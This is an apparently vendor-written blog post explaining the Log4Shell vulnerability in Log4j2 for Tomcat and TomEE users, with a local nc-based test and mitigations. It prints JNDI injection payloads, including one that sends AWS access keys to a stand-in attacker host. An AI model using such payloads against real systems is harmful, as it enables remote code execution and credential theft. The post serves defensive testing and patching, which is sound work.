Skip to main content

Introduction

If you’ve been following tech news over the last couple of days, you’ll very likely have heard about CVE-2021-44228, or “Log4Shell” as it has become known. This particular vulnerability affects Apache Log4J2, a Java logging framework. Tomcat, TomEE, and ActiveMQ themselves do not ship with log4j2, so running out-of-the-box with their default configuration they are not vulnerable to this issue.

However, before you breathe a sigh of relief, you should be aware that applications deployed on either TomEE or Tomcat can include additional Java libraries bundled inside. Any jar file included in a web application’s WEB-INF/lib directory will be added to the application’s classpath and can be used by code in the application. Your applications may be including log4j2 as a conscious logging choice, or it may be included as a transitive dependency of another library or framework your application is using. Either way, you ought to check your web applications for the presence of log42j (look for log4j-core*.jar), and take mitigating actions.

Since this article was published, a further CVE, CVE-2021-45046 has been made public, and the previous mitigation of setting log4j2.noFormatMsgLookup to true does not guard against this. Users are advised to update log4j2 to 2.16.0.

The Vulnerability

The vulnerability detail is available as part of the CVE here: https://nvd.nist.gov/vuln/detail/CVE-2021-44228, and also on the Log4J2 webpage here: https://logging.apache.org/log4j/2.x/

From the CVE description:

“Apache Log4j2 <=2.14.1 JNDI features used in the configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.”

This is perhaps a little difficult to digest, so it perhaps helps to understand what’s going on with the help of a simple example. 

Like other vulnerabilities such as cross site scripting (XSS), this starts with untrusted user input. 

Log4J2 has a JNDI plugin, which can be used to lookup values bound in JNDI. For example, it could be used to set the logging path for an application, and if that path needs to be changed for some reason, it can be changed in JNDI, rather than requiring the application to be rebuilt.

However, If an attacker is able to supply a specially crafted string to an application, such as ${jndi:ldap://evilcorp.com/} which is subsequently logged, the exploit may be triggered.

Consider the following simple example: your application uses log4j2 for logging, and when a user fails to authenticate on the login screen, you log this event along with the username that failed to authenticate, enabling you to proactively assist the user.

A simple form may look like this, and sends the username and password as a form POST:

When a login failure occurs, your application may log that event like this:

final Logger logger = LogManager.getLogger(...);
logger.error("Login failed for {}", username);

In this particular case, you’re logging the exact text that the attacker is entering in the username field on your form. Similar to SQL injection, if the string entered in that field is malicious and contains JNDI syntax it may trigger the JNDI plugin in log4j2. Worse than SQL injection, JNDI syntax can also include connection parameters. An example of a malicious string is ${jndi:ldap://127.0.0.1:4444/}.  If it connects to an external LDAP or RMI server controlled by an attacker, it may download and execute code of the attacker’s choosing.   

(*) Adapted from https://xkcd.com/327/, posted on Twitter here: https://twitter.com/HackingLZ/status/1469636791170961408, original source unknown.

Testing

A simple way to test this is to use the “nc” program to start listening for connections in a terminal window:

$ nc -l 4444

Enter the following text in your application’s input fields (amend the IP address as appropriate for your setup): 

${jndi:ldap://127.0.0.1:4444/}

If you see some weird characters show up in your nc window, then you have just successfully executed this vulnerability.

This is not just limited to fields that you might fill in within your application – anything that is sent to the application and subsequently logged is potentially vulnerable. HTTP request headers are often logged and are a place attackers will try and exploit this vulnerability. This is also not something that is restricted to servlet containers – anything that logs using log4j2 is potentially vulnerable.

As an example, issues have been found in the Apache James mail server with its default configuration: 

Not just a RCE

This vulnerability isn’t just about remote code execution, it is also possible for sensitive information to be leaked through this vulnerability. Consider the following malicious string:

${jndi:ldap://evil.attaker:1234/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}

The above would look for the environment variables AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY and send them to the host evil.attacker:1234 as a query string. If you’re running a server in EC2 on AWS and those environment variables are defined, the attacker would then be able to spin up and control machines in your AWS account.

Beyond environment variables, attackers could use Log4j2 lookups to form query strings that obtain Java process arguments and system properties, Kubernetes environment attributes, Docker attributes, and more. See Log4j2’s Lookups documentation for a full list of sources.

Most critically, it should be noted that this form of attack is not Java version specific. If you are on the patched version of Java 8 and beyond, you are still vulnerable to this form of information disclosure. We have verified this attack on Java 11 and onwards.

Mitigations

There are a couple of mitigations available to you if you are running an application with a vulnerable version of log4j2.

If possible, update to log4j2-2.16.0.

Alternatively, as noted in Log4j2’s documentation you can remove the JndiLookup class from the jar file:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 
Jonathan Gallimore

Jonathan Gallimore

Jonathan Gallimore is a passionate Apache TomEE committer, developer and trainer at Tomitribe. He started contributing to Apache TomEE in 2007, working on EJB 3.1 compliance, OpenEJB Eclipse Plug-in, early Tomcat 7 integration (that became the basis for TomEE) and the first version of the TomEE Arquillian adapter. Jon has worked as a developer and architect on Java EE projects across the media, banking, and sports industries.
jongallimore

Leave a Reply